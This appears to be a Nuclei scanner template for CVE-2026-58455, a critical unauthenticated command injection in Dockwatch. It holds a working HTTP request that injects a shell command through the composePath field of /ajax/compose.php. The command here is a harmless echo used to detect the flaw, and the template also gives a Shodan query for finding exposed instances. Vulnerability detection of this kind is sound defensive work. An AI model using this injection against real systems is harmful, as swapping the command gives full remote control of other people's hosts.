Dockwatch through 0.6.567 contains an unauthenticated command injection caused by missing exit() after authentication redirect in loader.php and unsanitized input in ajax/compose.php, letting remote attackers execute arbitrary shell commands, exploit requires seeding a session flag via incomplete auth check.
PoC
id: CVE-2026-58455
info:
name: Dockwatch <= 0.6.567 - OS Command Injection
author: DhiyaneshDk
severity: critical
description: |
Dockwatch through 0.6.567 contains an unauthenticated command injection caused by missing exit() after authentication redirect in loader.php and unsanitized input in ajax/compose.php, letting remote attackers execute arbitrary shell commands, exploit requires seeding a session flag via incomplete auth check.
impact: |
Remote attackers can execute arbitrary shell commands, potentially leading to full host compromise.
remediation: |
Update to the latest version that fixes the authentication and input validation issues.
reference:
- https://github.com/Notifiarr/dockwatch/pull/135
- https://nvd.nist.gov/vuln/detail/CVE-2026-58455
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-58455
cwe-id: CWE-78
epss-score: 0.0804
epss-percentile: 0.94488
metadata:
max-request: 2
vendor: notifiarr
product: dockwatch
shodan-query: title:"Dockwatch"
tags: cve,cve2026,dockwatch,rce,vkev
flow: http(1) && http(2)
variables:
cmd: "echo CVE-2026-58455 | rev"
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "Dockwatch")'
condition: and
internal: true
- raw:
- |
POST /ajax/compose.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
m=composePull&composePath=x;{{cmd}};#
matchers:
- type: word
part: body
words:
- '55845-2602-EVC'
# digest: 4a0a00473045022100947c7802f41ddb23515502955c4f09703c01e9f552db5c7ff63b9dad5d00edb2022047209d018bbb3153618188359d56217b26966835bc3ac6bd2cbe7ad39646bb30:922c64590222798bb761d5b6d8e72950
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